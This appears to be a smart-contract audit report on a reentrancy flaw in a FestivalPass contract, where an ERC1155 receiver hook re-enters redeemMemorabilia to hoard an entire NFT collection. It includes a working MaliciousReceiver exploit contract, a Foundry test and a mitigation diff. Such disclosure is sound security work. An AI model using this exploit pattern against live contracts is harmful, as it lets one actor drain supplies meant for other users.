Root + Impact
Description
-
When a user calls redeemMemorabilia
, the contract:
-
Checks the collection is active and not sold out.
-
Burns the caller’s BEAT
tokens as payment.
-
Mints a unique memorabilia NFT to the user.
-
Emits a MemorabiliaRedeemed
event.
-
Due to the ERC1155
standard, minting to a smart contract address triggers the recipient’s onERC1155Received
hook.
If the recipient is malicious, this hook can immediately re-enter redeemMemorabilia
before the first call finishes, repeatedly minting new NFTs within a single transaction until the collection is exhausted
✅ Why this works:
-
The burnFrom
is executed before mint, so the attacker must spend the correct priceInBeat
for every loop iteration.
-
However, an attacker with enough BEAT can drain the entire memorabilia supply atomically.
-
Legitimate users are locked out because the entire supply is consumed before they can transact
function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
tokenIdToEdition[tokenId] = itemId;
_mint(msg.sender, tokenId, 1, "");
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}
Risk
Likelihood:
-
Any user with enough BEAT can deploy a malicious receiver contract.
-
The attacker does not need privileged access.
-
The hoarding can happen atomically within one block.
Impact:
-
The entire memorabilia collection can be fully redeemed by a single actor.
-
This violates the fairness of distribution.
-
It results in a denial-of-service for legitimate festival attendees who cannot get memorabilia.
Proof of Concept
An attacker deploys a malicious contract that re-enters when onERC1155Received is called
the contract has accumulated or has received BEAT tokens over time
The attacker performs the attack
Paste this function in your FestivalPass.sol
contract, to know what's really going on behind the scene
function getCollections(uint256 collectionId) external view returns (string memory name, string memory baseUri, uint256 priceInBeat, uint256 maxSupply, uint256 currentItemId, bool isActive) {
MemorabiliaCollection storage collection = collections[collectionId];
return (
collection.name,
collection.baseUri,
collection.priceInBeat,
collection.maxSupply,
collection.currentItemId,
collection.isActive
);
}
Paste in your FestivalPassTest.t.sol
file or create a separate contract and inherit it in the test
contract MaliciousReceiver is IERC1155Receiver {
FestivalPass public festival;
uint256 public collectionId;
constructor(address _festival, uint256 _collectionId) {
festival = FestivalPass(_festival);
collectionId = _collectionId;
}
function startAttack(uint256 times) external {
festival.redeemMemorabilia(collectionId);
}
function onERC1155Received(
address, address, uint256, uint256, bytes calldata
) external override returns (bytes4) {
(
,
,
,
uint256 maxSupply,
uint256 currentItemId,
) = festival.getCollections(collectionId);
if (currentItemId < maxSupply) {
festival.redeemMemorabilia(collectionId);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return true;
}
}
Paste this in your FestivalPassTest.t.sol
contract
function test_MaliciousRecieverRedeemsAllMemorabilia() public {
vm.startPrank(organizer);
uint256 collectionId = festivalPass.createMemorabiliaCollection(
"Golden Hats",
"ipfs://QmGoldenHats",
500e18,
10,
true
);
vm.stopPrank();
vm.startPrank(attacker);
MaliciousReceiver maliciousReceiver = new MaliciousReceiver(address(festivalPass), collectionId);
vm.stopPrank();
vm.startPrank(address(festivalPass));
beatToken.mint(address(maliciousReceiver), 100000e18);
vm.stopPrank();
vm.startPrank(attacker);
maliciousReceiver.startAttack(10);
vm.stopPrank();
(
,
,
,
,
uint256 currentItemId,
) = festivalPass.getCollections(collectionId);
assertEq(currentItemId, 10);
}
Recommended Mitigation
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass, ReentrancyGuard { ... }
+ mapping(address=>bool) public hasClaimed;
- function redeemMemorabilia(uint256 collectionId) external {
+ function redeemMemorabilia(uint256 collectionId) external nonReentrant {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
+ require(!hasClaimed[msg.sender], "This address claimed already")
// Burn BEAT tokens
BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
// Generate unique token ID
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
// Store edition number
tokenIdToEdition[tokenId] = itemId;
+ hasClaimed[msg.sender]= true;
// Mint the unique NFT
_mint(msg.sender, tokenId, 1, "");
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}